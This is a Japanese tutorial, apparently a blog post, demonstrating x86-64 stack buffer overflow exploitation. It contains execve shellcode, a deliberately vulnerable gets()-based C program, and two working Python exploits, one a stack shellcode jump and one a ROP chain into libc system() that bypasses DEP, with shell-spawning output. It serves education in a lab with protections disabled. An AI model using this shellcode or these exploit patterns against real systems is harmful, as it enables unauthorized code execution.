x64でスタックバッファオーバーフローをやってみる

Intel x64 (x86-64) 環境のもとで、スタックバッファオーバーフローによるシェルコード実行およびROPをやってみる。

環境

Ubuntu 12.04 LTS 64bit版

$ uname -a
Linux vm-ubuntu64 3.11.0-15-generic #25~precise1-Ubuntu SMP Thu Jan 30 17:39:31 UTC 2014 x86_64 x86_64 x86_64 GNU/Linux

$ lsb_release -a
No LSB modules are available.
Distributor ID: Ubuntu
Description:    Ubuntu 12.04.4 LTS
Release:        12.04
Codename:       precise

$ gcc --version
gcc (Ubuntu/Linaro 4.6.3-1ubuntu5) 4.6.3

シェルコードを書いてみる

x64は基本的にはx86と同じだが、下記の点で違いがある。

  • レジスタのbit幅が64bitとなり、rax, rdx, rcx, rbx, rsi, rdi, rsp, rbp, ripのように表される
  • 汎用レジスタとしてr8, r9, ..., r15が使える
  • 64bit整数を即値でpushすることはできない。レジスタへのmovは可能
  • システムコール番号が変わる(execveは59)
  • int 0x80ではなくsyscallを使う。システムコール番号はrax、引数はrdi, rsi, rdx, r10, r8, r9の順で与える
  • システムコール実行後、戻り値が入るrax以外にrcx, r11も書き換えられる可能性がある

execve("/bin/sh", {"/bin/sh", NULL}, NULL)を実行するシェルコードを書くと次のようになる。

$ grep execve /usr/include/x86_64-linux-gnu/asm/unistd_64.h
#define __NR_execve                             59
__SYSCALL(__NR_execve, stub_execve)

$ echo "/bin//sh" | od -tx8z
0000000 68732f2f6e69622f 000000000000000a  >/bin//sh.<
0000011
        /* execve.s */
        .intel_syntax noprefix
        .globl _start
_start:
        xor rdx, rdx
        push rdx
        mov rax, 0x68732f2f6e69622f
        push rax
        mov rdi, rsp
        push rdx
        push rdi
        mov rsi, rsp
        lea rax, [rdx+59]
        syscall

アセンブルし、実行できることを確認する。

$ gcc -nostdlib execve.s

$ ./a.out
$ id
uid=1000(user) gid=1000(user) groups=1000(user)
$

ディスアセンブルを行い、対応する機械語列を確認する。

$ objdump -M intel -d a.out

a.out:     file format elf64-x86-64


Disassembly of section .text:

00000000004000d4 <_start>:
  4000d4:       48 31 d2                xor    rdx,rdx
  4000d7:       52                      push   rdx
  4000d8:       48 b8 2f 62 69 6e 2f    movabs rax,0x68732f2f6e69622f
  4000df:       2f 73 68
  4000e2:       50                      push   rax
  4000e3:       48 89 e7                mov    rdi,rsp
  4000e6:       52                      push   rdx
  4000e7:       57                      push   rdi
  4000e8:       48 89 e6                mov    rsi,rsp
  4000eb:       48 8d 42 3b             lea    rax,[rdx+0x3b]
  4000ef:       0f 05                   syscall
$ objdump -M intel -d a.out | grep '^ ' | cut -f2 | perl -pe 's/(\w{2})\s+/\\x\1/g'
\x48\x31\xd2\x52\x48\xb8\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x50\x48\x89\xe7\x52\x57\x48\x89\xe6\x48\x8d\x42\x3b\x0f\x05

このシェルコードの長さは29バイトである。

脆弱性のあるプログラムを書いてみる

標準入力からスタックバッファオーバーフローが起こせるプログラムを書いてみる。

/* bof.c */
#include <stdio.h>

int main()
{
    char buf[100];
    setlinebuf(stdout);
    printf("buf = %p\n", buf);
    gets(buf);
    puts(buf);
    return 0;
}

ASLR、DEPSSP無効でコンパイルし、実行できることを確認する。

$ sudo sysctl -w kernel.randomize_va_space=0
kernel.randomize_va_space = 0

$ gcc -fno-stack-protector -z execstack bof.c

$ ./a.out
buf = 0x7fffffffe5e0
AAAA
AAAA

エクスプロイトコードを書いてみる

スタック上のシェルコードを実行するエクスプロイトコードを書くと次のようになる。

# exploit.py

import sys
import struct
from subprocess import Popen, PIPE

addr_buf = int(sys.argv[1], 16)
bufsize = int(sys.argv[2])

# execve("/bin/sh", {"/bin/sh", NULL}, NULL)
shellcode = '\x48\x31\xd2\x52\x48\xb8\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x50\x48\x89\xe7\x52\x57\x48\x89\xe6\x48\x8d\x42\x3b\x0f\x05'

buf = shellcode
buf += 'A' * (bufsize - len(buf))
buf += 'A' * (8 - len(buf)%8)  # alignment
buf += 'AAAAAAAA' * 2
buf += struct.pack('<Q', addr_buf)

p = Popen(['./a.out'], stdin=PIPE, stdout=PIPE)
print "[+] read: %r" % p.stdout.readline()
p.stdin.write(buf+'\n')
print "[+] read: %r" % p.stdout.readline()
p.stdin.write('exec <&2 >&2\n')
p.wait()

このコードは、オーバーフローが起きるバッファのアドレスとサイズを順に引数に取る。 アドレス空間が64bitで表されることから、struct.packの引数にはI(32bit符号なし整数)の代わりにQ(64bit符号なし整数)を指定する。 また、シェルを起動した後はシェルコマンドにより標準入出力を端末に差し替える。

引数をセットし、エクスプロイトコードを実行してみる。

$ python exploit.py 0x7fffffffe5e0 100
[+] read: 'buf = 0x7fffffffe5d0\n'
[+] read: 'H1\xd2RH\xb8/bin//shPH\x89\xe7RWH\x89\xe6H\x8dB;\x0f\x05AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\xe0\xe5\xff\xff\xff\x7f\n'

$ python exploit.py 0x7fffffffe5d0 100
[+] read: 'buf = 0x7fffffffe5d0\n'
[+] read: 'H1\xd2RH\xb8/bin//shPH\x89\xe7RWH\x89\xe6H\x8dB;\x0f\x05AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\xd0\xe5\xff\xff\xff\x7f\n'
id[ENTER]
uid=1000(user) gid=1000(user) groups=1000(user)
[CTRL+D]

スタック上のシェルコードが実行できていることが確認できた。

ROPによるDEP回避をやってみる

次に、DEPが有効な条件下でROPによるシェル起動をやってみる。

rp++Linux x64用バイナリをダウンロードし、libcのROP gadgetsを出力する。

$ curl -L https://github.com/downloads/0vercl0k/rp/rp-lin-x64 > rp-lin-x64

$ chmod +x rp-lin-x64

$ ./rp-lin-x64 --file=/lib/x86_64-linux-gnu/libc-2.15.so --rop=1 --unique > gadgets.txt

x64では、関数の引数はまずレジスタにセットされる。 具体的には、第一引数からrdi, rsi, rdx, rcx, r8, r9の順でセットされ(システムコールの場合と第4引数が異なることに注意)、これ以降の引数はスタックの上から順に並ぶようにセットされる。 なお、戻り値はx86と同様raxレジスタにセットされる。

上の内容に従い、libc中のsystem関数を呼び出すエクスプロイトコードを書くと次のようになる。

# exploit2.py

import sys
import struct
from subprocess import Popen, PIPE

libc_base = int(sys.argv[1], 16)
bufsize = int(sys.argv[2])

offset_libc_system = 0x0000000000045660  # nm -D /lib/x86_64-linux-gnu/libc-2.15.so | grep " system"
offset_libc_exit = 0x000000000003b970    # nm -D /lib/x86_64-linux-gnu/libc-2.15.so | grep " exit"
offset_libc_binsh = 0x17a111             # strings -tx /lib/x86_64-linux-gnu/libc-2.15.so | grep "/bin/sh"
offset_libc_pop_rdi = 0x000229f2         # 0x000229f2: pop rdi ; ret  ;  (310 found)

buf = 'A' * bufsize
buf += 'A' * (8-len(buf)%8)
buf += 'AAAAAAAA' * 2
buf += struct.pack('<Q', libc_base + offset_libc_pop_rdi)
buf += struct.pack('<Q', libc_base + offset_libc_binsh)
buf += struct.pack('<Q', libc_base + offset_libc_system)
buf += struct.pack('<Q', libc_base + offset_libc_pop_rdi)
buf += struct.pack('<Q', 0)
buf += struct.pack('<Q', libc_base + offset_libc_exit)

p = Popen(['./a.out'], stdin=PIPE, stdout=PIPE)
print "[+] read: %r" % p.stdout.readline()
p.stdin.write(buf+'\n')
print "[+] read: %r" % p.stdout.readline()
p.stdin.write('exec <&2 >&2\n')
p.wait()

DEP有効、ASLR、SSP無効でコンパイルし直し、gdbでlibcのベースアドレスを調べてみる。

$ gcc -fno-stack-protector bof.c

$ gdb -q a.out
Reading symbols from /home/user/tmp/a.out...(no debugging symbols found)...done.
(gdb) start
Temporary breakpoint 1 at 0x4005d8
Starting program: /home/user/tmp/a.out
warning: no loadable sections found in added symbol-file system-supplied DSO at 0x7ffff7ffa000

Temporary breakpoint 1, 0x00000000004005d8 in main ()
(gdb) i proc map
process 2974
Mapped address spaces:

          Start Addr           End Addr       Size     Offset objfile
            0x400000           0x401000     0x1000        0x0 /home/user/tmp/a.out
            0x600000           0x601000     0x1000        0x0 /home/user/tmp/a.out
            0x601000           0x602000     0x1000     0x1000 /home/user/tmp/a.out
      0x7ffff7a1a000     0x7ffff7bcf000   0x1b5000        0x0 /lib/x86_64-linux-gnu/libc-2.15.so
      0x7ffff7bcf000     0x7ffff7dcf000   0x200000   0x1b5000 /lib/x86_64-linux-gnu/libc-2.15.so
      0x7ffff7dcf000     0x7ffff7dd3000     0x4000   0x1b5000 /lib/x86_64-linux-gnu/libc-2.15.so
      0x7ffff7dd3000     0x7ffff7dd5000     0x2000   0x1b9000 /lib/x86_64-linux-gnu/libc-2.15.so
                 ...
(gdb) quit

引数をセットし、エクスプロイトコードを実行してみる。

$ python exploit2.py 0x7ffff7a1a000 100
[+] read: 'buf = 0x7fffffffe5d0\n'
[+] read: 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\xf2\xc9\xa3\xf7\xff\x7f\n'
id[ENTER]
uid=1000(user) gid=1000(user) groups=1000(user)
[CTRL+D]

DEPが有効な条件下でROPによりシェルが起動できていることが確認できた。

関連リンク